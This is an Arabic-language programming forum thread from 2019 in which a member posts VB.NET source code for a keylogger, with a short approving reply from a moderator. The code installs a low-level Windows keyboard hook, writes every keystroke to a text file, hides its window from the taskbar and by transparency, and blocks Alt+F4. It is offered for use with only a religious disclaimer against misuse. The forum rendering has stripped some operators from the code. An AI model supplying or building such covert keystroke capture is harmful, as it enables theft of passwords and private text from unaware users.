منتديات روكشا     َولَوْلَا إِذْ دَخَلْتَ جَنَّتَكَ قُلْتَ مَا شَاءَ اللَّهُ لَا قُوَّةَ إِلَّا بِاللَّه

الرئيسية |  التسجيل  |  مركز رفع الملفات  |  الاتصال بنا  

 



العودة   منتديات روكشا > المنتدي التخصصي > قسم التصاميم والبرمجة والجرافيكس والميديا > انشاء وتصميم وبرمجة البرامج

الملاحظات

انشاء وتصميم وبرمجة البرامج برنامج الوورد اكسس اكسيل بوربوينت فيجوال بيسك برامج محاسبة برامج ادارة وتنظيم حسابات تنسيق الملفات

إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
  #1  
قديم 03-23-2019, 12:10 AM

الصورة الرمزية الفارس

الفارس

.:: عضـو متميز ::.

 
تاريخ التسجيل: Feb 2019
الدولة: مصر
المشاركات: 837
معدل تقييم المستوى: 12
الفارس المعروف لدى الجميع بالتميز العالىالفارس المعروف لدى الجميع بالتميز العالىالفارس المعروف لدى الجميع بالتميز العالىالفارس المعروف لدى الجميع بالتميز العالىالفارس المعروف لدى الجميع بالتميز العالىالفارس المعروف لدى الجميع بالتميز العالى
الفارس غير متواجد حالياً
جديد key loger تسجيل ضربات لوحه المفاتيح

 






السلام عليكم ورحمه الله وبركاته


key loger تسجيل ضربات لوحه المفاتيح


كود لتسجيل ضربات لوحه المفاتيح اليكم الكود التالى

وارجو استعماله فيما يرضى الله وابرء نفسى امام الله عند الاستخدام الخاطئ

اولا قم بعمل كلاس وانسخ هذا الكود وضعه بها

كود PHP:
Public Class KeyboardHook
    
Private Const HC_ACTION As Integer 0
    
Private Const WH_KEYBOARD_LL As Integer 13
    
Private Const WM_KEYDOWN = &H100
    
Private Const WM_KEYUP = &H101
    
Private Const WM_SYSKEYDOWN = &H104
    
Private Const WM_SYSKEYUP = &H105

    
''Keypress Structure
    
Private Structure KBDLLHOOKSTRUCT
        
Public vkCode As Integer
        
Public scancode As Integer
        
Public flags As Integer
        
Public time As Integer
        
Public dwExtraInfo As Integer
    End Structure
    
''API Functions
    
Private Declare Function SetWindowsHookEx Lib "user32" _
    Alias 
"SetWindowsHookExA" _
    
(ByVal idHook As Integer_
    ByVal lpfn 
As KeyboardProcDelegate_
    ByVal hmod 
As Integer_
    ByVal dwThreadId 
As Integer) As Integer

    
Private Declare Function CallNextHookEx Lib "user32" _
    
(ByVal hHook As Integer_
    ByVal nCode 
As Integer_
    ByVal wParam 
As Integer_
    ByVal lParam 
As KBDLLHOOKSTRUCT) As Integer

    
Private Declare Function UnhookWindowsHookEx Lib "user32" _
    
(ByVal hHook As Integer) As Integer

    
''Our Keyboard Delegate
    
Private Delegate Function KeyboardProcDelegate _
    
(ByVal nCode As Integer_
    ByVal wParam 
As Integer_
    ByRef lParam 
As KBDLLHOOKSTRUCT) As Integer

    
''The KeyPress events
    
Public Shared Event KeyDown(ByVal Key As Keys)
    Public 
Shared Event KeyUp(ByVal Key As Keys)
    
''The identifyer for our KeyHook
    
Private Shared KeyHook As Integer
    
''KeyHookDelegate
    
Private Shared KeyHookDelegate As KeyboardProcDelegate

    
Public Sub New()
        
''Installs a Low Level Keyboard Hook
        KeyHookDelegate 
= New KeyboardProcDelegate(AddressOf KeyboardProc)
        
KeyHook SetWindowsHookEx(WH_KEYBOARD_LLKeyHookDelegateSystem.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt320)
    
End Sub

    
Private Shared Function KeyboardProc(ByVal nCode As IntegerByVal wParam As IntegerByRef lParam As KBDLLHOOKSTRUCT) As Integer
        
''If it is a keypress
        
If (nCode HC_ACTIONThen
            Select 
Case wParam
                
''If it is a Keydown Event
                
Case WM_KEYDOWNWM_SYSKEYDOWN
                    
''Activates the KeyDown event in Form 1
                    RaiseEvent KeyDown
(CType(lParam.vkCodeKeys))
                Case 
WM_KEYUPWM_SYSKEYUP
                    
''Activates the KeyUp event in Form 1
                    RaiseEvent KeyUp
(CType(lParam.vkCodeKeys))
            
End Select
        End 
If
        
''Next
        
Return CallNextHookEx(KeyHooknCodewParamlParam)
    
End Function

    Protected 
Overrides Sub Finalize()
        
''On close it UnHooks the Hook
        UnhookWindowsHookEx
(KeyHook)
        
MyBase.Finalize()
    
End Sub 

والكود التالى ضعه فى فورم وقم بتشغيل البرنامج ولاحظ كيف يعمل البرنامج


كود PHP:

Public Class Form1
    Dim sw 
As IO.StreamWriter
    Dim a 
As String
    
Private WithEvents kbHook As New KeyboardHook
    
Private Sub Form1_KeyDown(ByVal sender As ObjectByVal e As System.Windows.Forms.KeyEventArgsHandles Me.KeyDown
        
If e.Alt True And e.KeyCode Keys.F4 Then
            e
.Handled True
        End 
If
    
End Sub

    
Private Sub kbHook_Keyup(ByVal Key As System.Windows.Forms.KeysHandles kbHook.KeyUp
        sw 
IO.File.AppendText("keylog.txt")
        
sw.Write(a)
        If 
Key.ToString "RShiftKey" Or Key.ToString "LShiftKey" Then
            a 
"(shift)"
        
ElseIf Key.ToString "Return" Then
            a 
"(enter)"
        
ElseIf Key.ToString "Space" Then
            a 
" "
        
ElseIf Key.ToString "LMenu" Or Key.ToString "RMenu" Then
            a 
"(ALT)"
        
ElseIf Key.ToString "LWin" Or Key.ToString "RWin" Then
            a 
"(WIN)"
        
ElseIf Key.ToString "LControlKey" Or Key.ToString "RControlKey" Then
            a 
"(CTR)"
        
ElseIf Key.ToString "Capital" Then
            a 
"(CAP)"
        
ElseIf Key.ToString "Tab" Then
            a 
"(Tab)"
        
ElseIf Key.ToString "Escape" Then
            a 
"(ESC)"
        
ElseIf Key.ToString "OemMinus" Then
            a 
"-"
        
ElseIf Key.ToString "Oemplus" Then
            a 
"+"
        
ElseIf Key.ToString "Back" Then
            a 
"(Back)"
        
ElseIf Key.ToString "Oem5" Then
            a 
""
        
ElseIf Key.ToString "F1" Or Key.ToString "F2" Or Key.ToString "F3" Or Key.ToString "F4" Or Key.ToString "F5" Or Key.ToString "F6" Or Key.ToString "F7" Or Key.ToString "F8" Or Key.ToString "F9" Or Key.ToString "F10" Or Key.ToString "F11" Or Key.ToString "F12" Then
            a 
"(fun) "
        
ElseIf Key.ToString "D1" Or Key.ToString "NumPad1" Then
            a 
"1"
        
ElseIf Key.ToString "D2" Or Key.ToString "NumPad2" Then
            a 
"2"
        
ElseIf Key.ToString "D3" Or Key.ToString "NumPad3" Then
            a 
"3"
        
ElseIf Key.ToString "D4" Or Key.ToString "NumPad4" Then
            a 
"4"
        
ElseIf Key.ToString "D5" Or Key.ToString "NumPad5" Then
            a 
"5"
        
ElseIf Key.ToString "D6" Or Key.ToString "NumPad6" Then
            a 
"6"
        
ElseIf Key.ToString "D7" Or Key.ToString "NumPad7" Then
            a 
"7"
        
ElseIf Key.ToString "D8" Or Key.ToString "NumPad8" Then
            a 
"8"
        
ElseIf Key.ToString "D9" Or Key.ToString "NumPad9" Then
            a 
"9"
        
ElseIf Key.ToString "D0" Or Key.ToString "NumPad0" Then
            a 
"0"
        
ElseIf Key.ToString "Delete" Then
            a 
"(del)"
        
ElseIf Key.ToString "Add" Then
            a 
"+"
        
ElseIf Key.ToString "Subtract" Then
            a 
"-"
        
ElseIf Key.ToString "Multiply" Then
            a 
"*"
        
ElseIf Key.ToString "Divide" Then
            a 
"/"
        
ElseIf Key.ToString "NumLock" Then
            a 
"(NumLock)"
        
ElseIf Key.ToString "A" Then
            a 
"a"
        
ElseIf Key.ToString "B" Then
            a 
"b"
        
ElseIf Key.ToString "C" Then
            a 
"c"
        
ElseIf Key.ToString "D" Then
            a 
"d"
        
ElseIf Key.ToString "E" Then
            a 
"e"
        
ElseIf Key.ToString "F" Then
            a 
"f"
        
ElseIf Key.ToString "G" Then
            a 
"g"
        
ElseIf Key.ToString "H" Then
            a 
"h"
        
ElseIf Key.ToString "I" Then
            a 
"i"
        
ElseIf Key.ToString "J" Then
            a 
"j"
        
ElseIf Key.ToString "K" Then
            a 
"k"
        
ElseIf Key.ToString "L" Then
            a 
"l"
        
ElseIf Key.ToString "M" Then
            a 
"m"
        
ElseIf Key.ToString "N" Then
            a 
"n"
        
ElseIf Key.ToString "O" Then
            a 
"o"
        
ElseIf Key.ToString "P" Then
            a 
"p"
        
ElseIf Key.ToString "Q" Then
            a 
"q"
        
ElseIf Key.ToString "V" Then
            a 
"v"
        
ElseIf Key.ToString "R" Then
            a 
"r"
        
ElseIf Key.ToString "S" Then
            a 
"s"
        
ElseIf Key.ToString "T" Then
            a 
"t"
        
ElseIf Key.ToString "U" Then
            a 
"u"
        
ElseIf Key.ToString "W" Then
            a 
"w"
        
ElseIf Key.ToString "X" Then
            a 
"x"
        
ElseIf Key.ToString "Y" Then
            a 
"y"
        
ElseIf Key.ToString "Z" Then
            a 
"z"
        
ElseIf Key.ToString "Oemtilde" Then
            a 
"ذ"
        
ElseIf Key.ToString "OemQuestion" Then
            a 
"ظ"
        
ElseIf Key.ToString "OemPeriod" Then
            a 
"."
        
ElseIf Key.ToString "Oemcomma" Then
            a 
"و"
        
ElseIf Key.ToString "Oem6" Then
            a 
"د"
        
ElseIf Key.ToString "Oem1" Then
            a 
"ك"
        
ElseIf Key.ToString "OemOpenBrackets" Then
            a 
"ج"
        
Else
            
"(" Key.ToString ")"
        
End If
        
sw.Close()
    
End Sub

    
Private Sub Form1_Load(ByVal sender As ObjectByVal e As System.EventArgsHandles Me.Load
        Me
.BackColor Me.TransparencyKey
        Me
.ShowInTaskbar False
    End Sub
End 
Class 
رد مع اقتباس
قديم 03-23-2019, 01:25 PM   #2

ابن الوليد

.:: ادارة المنتدي ::.

الصورة الرمزية ابن الوليد

تاريخ التسجيل: Nov 2018
الدولة: مصر
المشاركات: 1,680
معدل تقييم المستوى: 10
ابن الوليد has much to be proud ofابن الوليد has much to be proud ofابن الوليد has much to be proud ofابن الوليد has much to be proud ofابن الوليد has much to be proud ofابن الوليد has much to be proud ofابن الوليد has much to be proud ofابن الوليد has much to be proud of
إرسال رسالة عبر MSN إلى ابن الوليد إرسال رسالة عبر Yahoo إلى ابن الوليد إرسال رسالة عبر Skype إلى ابن الوليد
افتراضي

شئ مبدع بارك الله فيك

__________________

ابن الوليد متواجد حالياً  

رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
هاك الحماية من تسجيل أعضاء الاسبام ابن الوليد ركن تطوير وإدارة المنتديات العربية 0 02-20-2019 04:49 PM
شرح الاستفادة من معظم المفاتيح داخل البرنامج word الفارس انشاء وتصميم وبرمجة البرامج 0 02-06-2019 05:51 AM
كتاب كتاب اختصارات لوحة المفاتيح لبرنامج الوورد - أ.شيرين المصري الفارس انشاء وتصميم وبرمجة البرامج 0 02-06-2019 05:31 AM
شرح الاستفادة من المفاتيح داخل البرنامج word مهرة النجدية انشاء وتصميم وبرمجة البرامج 0 02-05-2019 12:35 AM
برنامج تسجيل المكالمات لجميع الهواتف المحمولة الذكية ابن الوليد تطبيقات الهاتف المحمول 0 11-11-2018 07:23 PM

 

RSS RSS 2.0 XML MAP HTML

الساعة الآن 10:48 PM

نبذة عن المنتدى

روابط مفيدة

إعلانات نصية

روابط الموقع

منتديات روكشا لتقنية المعلومات تقدم كل ما هو جديد ومفيد في عالم البرامج سواء جاهزة أو طرق وشروحات برمجة وتصميم وسوف تجدون أقسام عديدة ومختصة لكل ما تبحث عنه



Powered by vBulletin® Copyright ©2000 - 2019,